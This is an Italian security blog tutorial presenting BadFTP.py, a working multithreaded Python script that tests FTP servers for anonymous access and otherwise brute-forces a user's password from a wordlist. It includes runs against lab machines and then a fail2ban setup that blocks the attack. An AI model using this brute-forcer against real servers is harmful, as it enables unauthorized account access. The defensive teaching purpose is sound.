Introduzione a BadFTP

Qualche tempo fa, mostrai come scrivere uno script in Python3 per effettuare il brute forcing delle credenziali FTP trovate il post al seguente link: Brute Force di un Server FTP. Col tempo però, ho sentito l’esigenza di modificare lo script per renderlo in un certo senso modulabile.

Da qui nasce BadFTP.py:

import sys, ftplib, threading
from ftplib import FTP
from colorama import init, Fore, Style

init()
credentials_found = False
port = 21

def banner():
    print(f"""{Style.BRIGHT}                    
     _____       _ _____ _____ _____ 
    | __  |___ _| |   __|_   _|  _  |
    | __ -| .'| . |   __| | | |   __|
    |_____|__,|___|__|    |_| |__|   
                                 
        {Style.RESET_ALL}""")

def check_anonymous_ftp(server, port=21):
    try:
        ftp = FTP()
        ftp.connect(server, port)
        ftp.login('anonymous', 'anonymous@domain.com')
        return ftp  
    except Exception as e:
        return None

def is_correct(username, password):
    global credentials_found

    if credentials_found:
        return

    server = ftplib.FTP()
    print(f"[!] Trying {Style.BRIGHT}{password}{Style.RESET_ALL}")
    try:
        server.connect(host, port, timeout=5)
        server.login(username, password)
    except ftplib.error_perm:
        return False
    else:
        print("\n" + f"{Style.BRIGHT}-{Style.RESET_ALL}" * 30)
        print(f"{Style.BRIGHT}{Fore.GREEN}[+] Found credentials: {Style.RESET_ALL}")
        print(f"\tHost: {Style.BRIGHT}{host}{Style.RESET_ALL}")
        print(f"\tUser: {Style.BRIGHT}{username}{Style.RESET_ALL}")
        print(f"\tPassword: {Style.BRIGHT}{password}{Style.RESET_ALL}{Fore.RESET}")
        print(f"{Style.BRIGHT}-{Style.RESET_ALL}" * 30)
        credentials_found = True
        return True

def list_ftp_directory(ftp):
    try:
        print("\n" + f"{Style.BRIGHT}-{Style.RESET_ALL}" * 30)
        print(f"\n{Style.BRIGHT}Contents of the root directory:{Fore.RESET}\n")
        contents = ftp.nlst()
        for item in contents:
            print(item)
        print("\n" + f"{Style.BRIGHT}-{Style.RESET_ALL}" * 30)
    except Exception as e:
        print(f"{Fore.RED}Error listing directory: {str(e)}{Fore.RESET}")

def password_checker(username, passwords):
    for password in passwords:
        if is_correct(username, password):
            break

if __name__ == "__main__":
    banner()
    init(autoreset=True)

    if len(sys.argv) != 4:
        print(Fore.RED + f"{Style.BRIGHT}Usage: python3 script.py ftp_server_ip_address username wordlist_file{Style.RESET_ALL}")
        sys.exit(1)

    host = sys.argv[1]
    user = sys.argv[2]
    wordlist_file = sys.argv[3]

    ftp_client = check_anonymous_ftp(host)

    if ftp_client:
        print(Fore.GREEN + f'\nThe FTP server at {Style.BRIGHT}[ {host} ]{Style.RESET_ALL} {Fore.GREEN}allows anonymous access.')
        list_ftp_directory(ftp_client) 
    else:
        print(Fore.RED + f'\nThe FTP server at {Style.BRIGHT}[ {host} ]{Style.RESET_ALL} {Fore.RED}does not allow anonymous access or is unreachable.')

        passwords = open(wordlist_file).read().split("\n")
        print(f"\n[+] Passwords to try: {Style.BRIGHT}{len(passwords)}{Style.RESET_ALL}")

        chunk_size = 10
        password_chunks = [passwords[i:i+chunk_size] for i in range(0, len(passwords), chunk_size)]

        threads = []
        for chunk in password_chunks:
            thread = threading.Thread(target=password_checker, args=(user, chunk,))
            thread.start()
            threads.append(thread)

        for thread in threads:
            thread.join()

Cosa differenzia BadFTP dallo script presente nel post che vi ho menzionato sopra? Proprio il fatto che BadFTP è modulabile. Lo script infatti verifica se il server FTP remoto è configurato in modo errato per poter permetter l’accesso come anonymous, in caso positivo, elenca i file presenti sul server FTP, in caso negativo tenta di fare il brute forcing.

Essendo che noi non sappiamo se il nostro server target sia a priori vulnerabile o meno, dobbiamo in ogni caso passargli le wordlist richieste, cosi facendo, se il server non permette l’accesso come anonymous, BadFTP tenta il brute force.

Vediamo lo script in opera, ho configurato una macchina Ubuntu con utente e password, analizziamo il comportamento di BadFTP:

┌──(k0bra3390㉿kali)-[~/Desktop/ftp-brute]
└─$ python3 ftp-brute.py 
                    
     _____       _ _____ _____ _____ 
    | __  |___ _| |   __|_   _|  _  |
    | __ -| .'| . |   __| | | |   __|
    |_____|__,|___|__|    |_| |__|   
                                 
        
Usage: python3 script.py ftp_server_ip_address username wordlist_file

Se non forniamo nessun parametro lo script ci informerà dei valori che necessita per funzionare correttamente:

┌──(k0bra3390㉿kali)-[~/Desktop/ftp-brute]
└─$ python3 ftp-brute.py 192.168.1.77 paul wordlist.txt
                    
     _____       _ _____ _____ _____ 
    | __  |___ _| |   __|_   _|  _  |
    | __ -| .'| . |   __| | | |   __|
    |_____|__,|___|__|    |_| |__|   
                                 
        

The FTP server at [ 192.168.1.77 ] does not allow anonymous access or is unreachable.

[+] Passwords to try: 47
[!] Trying dog
[!] Trying password
[!] Trying cat
[!] Trying beverly3cat
[!] Trying beverly3
[!] Trying cat
[!] Trying admin
[!] Trying cat
[!] Trying VTXrumVvszNh8y5z
[!] Trying admin
[!] Trying admin
[!] Trying wordpress
[!] Trying admin
[!] Trying dog339000
[!] Trying wordpress

------------------------------
[+] Found credentials: 
        Host: 192.168.1.77
        User: paul
        Password: dog339000
------------------------------

Come vediamo, per far funzionare BadFTP, è necessario conoscere i nomi utenti presenti sul server FTP, infatti il bruteforcing avviene solo sulla password dell’utente specificato, in questo caso l’utente paul.

Come possiamo vedere, lo script ci ha trovato correttamente la password, che in questo caso è dog339000.

Proviamo ora a usare lo script su una macchina che constente l’accesso come anonymous, a tale fine, useremo la macchina Crocodile di HackTheBox, essa fa parte del percorso Starting Poing:

┌──(k0bra3390㉿kali)-[~/Desktop/ftp-brute]
└─$ python3 ftp-brute.py 10.129.224.108 paul wordlist.txt
                    
     _____       _ _____ _____ _____ 
    | __  |___ _| |   __|_   _|  _  |
    | __ -| .'| . |   __| | | |   __|
    |_____|__,|___|__|    |_| |__|   
                                 
        

The FTP server at [ 10.129.224.108 ] allows anonymous access.

------------------------------

Contents of the root directory:

allowed.userlist
allowed.userlist.passwd

------------------------------

In questo caso la macchina consente l’accesso come anonymous, ed elenca i file presenti.

In entrambe le scansioni abbiamo usato una wordlist di test che ho creato personalmente, che è:

wordlist.txt:

dog
cat
admin
wordpress
cat
admin
wordpress
password
myadmin
beverly3
password
cat
admin
wordpress
password
myadmin
beverly3
myadmin
cat
admin
cat
admin
wordpress
password
myadmin
beverly3cat
admin
wordpress
password
myadmin
beverly3cat
admin
wordpress
password
myadmin
beverly3
wordpress
password
myadmin
beverly3
beverly3
VTXrumVvszNh8y5z
dog339000
home
google
apple

Introduzione a Fail2ban

Abbiamo abbondantemente visto come poter attaccare il protocollo FTP per trovare le credenziali, ma oltre ad attaccare un servizio è utile sapere anche come diferlo, ed ecco che viene in nostro aiuto fail2ban.

Cos’è Fail2ban

Fail2ban è un’applicazione open source utilizzata per migliorare la sicurezza di un sistema Linux proteggendolo da attacchi di forza bruta e altri tipi di attacchi informatici. Il concetto di base di Fail2ban è monitorare i file di log del sistema per rilevare tentativi di accesso falliti e poi bloccare automaticamente gli indirizzi IP degli aggressori che effettuano tali tentativi ripetutamente. Questo aiuta a proteggere il tuo server da tentativi di accesso non autorizzati.

Per installare Fail2ban usiamo il seguente comando per distro basate su Debian:

sudo apt-get install fail2ban

Su una distribuzione basata su CentOS/RHEL, puoi usare:

sudo yum install fail2ban

La configurazione di Fail2ban è basata su file di configurazione. Il file principale di configurazione di Fail2ban è solitamente /etc/fail2ban/jail.conf o /etc/fail2ban/jail.local. Tuttavia, è una buona pratica creare un file personalizzato chiamato /etc/fail2ban/jail.d/custom.conf per evitare di sovrascrivere le impostazioni predefinite.

Puoi creare un file /etc/fail2ban/jail.d/vsftpd.conf per configurare Fail2ban specificamente per vsftpd. Ecco un esempio di configurazione per il servizio vsftpd:

[vsftpd]
enabled = true
port = 21
filter = vsftpd
logpath = /var/log/vsftpd.log
maxretry = 3
bantime = 3600

In questo esempio:

  • enabled = true abilita la regola per vsftpd.
  • port = 21 specifica la porta utilizzata da vsftpd (21 è la porta FTP predefinita).
  • filter = vsftpd indica il filtro da utilizzare, che è configurato in un altro file.
  • logpath = /var/log/vsftpd.log specifica il percorso del file di log di vsftpd.
  • maxretry = 3 definisce il numero massimo di tentativi di accesso falliti prima che Fail2ban blocchi l’indirizzo IP.
  • bantime = 3600 specifica il tempo in cui l’indirizzo IP viene bloccato in secondi (in questo caso, 3600 secondi, ovvero 1 ora).

Il filtro predefinito per il protocollo FTP si trova nella path: /etc/fail2ban/filter.d/vsftpd.conf:

# Fail2Ban filter for vsftp
#
# Configure VSFTP for "dual_log_enable=YES", and have fail2ban watch
# /var/log/vsftpd.log instead of /var/log/secure. vsftpd.log file shows the
# incoming ip address rather than domain names.

[INCLUDES]

before = common.conf

[Definition]

__pam_re=\(?%(__pam_auth)s(?:\(\S+\))?\)?:?
_daemon =  vsftpd

failregex = ^%(__prefix_line)s%(__pam_re)s\s+authentication failure; logname=\S* uid=\S* euid=\S* tty=(ftp)? ruser=\S* rhost=<HOST>(?:\s+user=.*)?\s*$
            ^ \[pid \d+\] \[[^\]]+\] FAIL LOGIN: Client "<HOST>"(?:\s*$|,)

ignoreregex = 

# Author: Cyril Jaquier
# Documentation from fail2ban wiki

Dopo aver configurato Fail2ban e il filtro vsftpd, riavvia il servizio per applicare le modifiche:

sudo service fail2ban restart

In alcuni casi può essere necessario anche avviare il servizio fail2ban, per farlo usiamo il comando:

sudo service fail2ban start

Ora, proviamo ad eseguire di nuovo BadFTP e vediamo cosa accade:

┌──(k0bra3390㉿kali)-[~/Desktop/ftp-brute]
└─$ python3 ftp-brute.py 192.168.1.77 paul wordlist.txt 
                    
     _____       _ _____ _____ _____ 
    | __  |___ _| |   __|_   _|  _  |
    | __ -| .'| . |   __| | | |   __|
    |_____|__,|___|__|    |_| |__|   
                                 
        

The FTP server at [ 192.168.1.77 ] does not allow anonymous access or is unreachable.

[+] Passwords to try: 47
[!] Trying dog
[!] Trying password
[!] Trying catException in thread Thread-2 (password_checker):
Traceback (most recent call last):
  File "/usr/lib/python3.11/threading.py", line 1038, in _bootstrap_inner
    self.run()
  File "/usr/lib/python3.11/threading.py", line 975, in run
    self._target(*self._args, **self._kwargs)
  File "/home/k0bra3390/Desktop/ftp-brute/ftp-brute.py", line 63, in password_checker
    if is_correct(username, password):
       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/k0bra3390/Desktop/ftp-brute/ftp-brute.py", line 36, in is_correct
    server.connect(host, port, timeout=5)
  File "/usr/lib/python3.11/ftplib.py", line 158, in connect
    self.sock = socket.create_connection((self.host, self.port), self.timeout,
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/socket.py", line 851, in create_connection
    raise exceptions[0]
  File "/usr/lib/python3.11/socket.py", line 836, in create_connection
    sock.connect(sa)
ConnectionRefusedError: [Errno 111] Connection refused
Exception in thread Thread-1 (password_checker):
Traceback (most recent call last):
  File "/usr/lib/python3.11/threading.py", line 1038, in _bootstrap_inner
    self.run()
  File "/usr/lib/python3.11/threading.py", line 975, in run
    self._target(*self._args, **self._kwargs)
  File "/home/k0bra3390/Desktop/ftp-brute/ftp-brute.py", line 63, in password_checker
    if is_correct(username, password):
       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/k0bra3390/Desktop/ftp-brute/ftp-brute.py", line 36, in is_correct
    server.connect(host, port, timeout=5)
  File "/usr/lib/python3.11/ftplib.py", line 158, in connect
    self.sock = socket.create_connection((self.host, self.port), self.timeout,
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/socket.py", line 851, in create_connection
    raise exceptions[0]
  File "/usr/lib/python3.11/socket.py", line 836, in create_connection
    sock.connect(sa)
ConnectionRefusedError: [Errno 111] Connection refused

Come possiamo notare, veniamo bloccati da fail2ban, disattivandolo con:

sudo service fail2ban stop

Saremo di nuovo in grado di utilizzare lo script. Nella cybersecurity è fondamentale capire sia come sfruttare vulnerabilità dei sistemi, dei protocolli di rete o in snippet di codice che fanno parte di un software, ma è altrettanto fondamentale capire come difendere questi sistemi.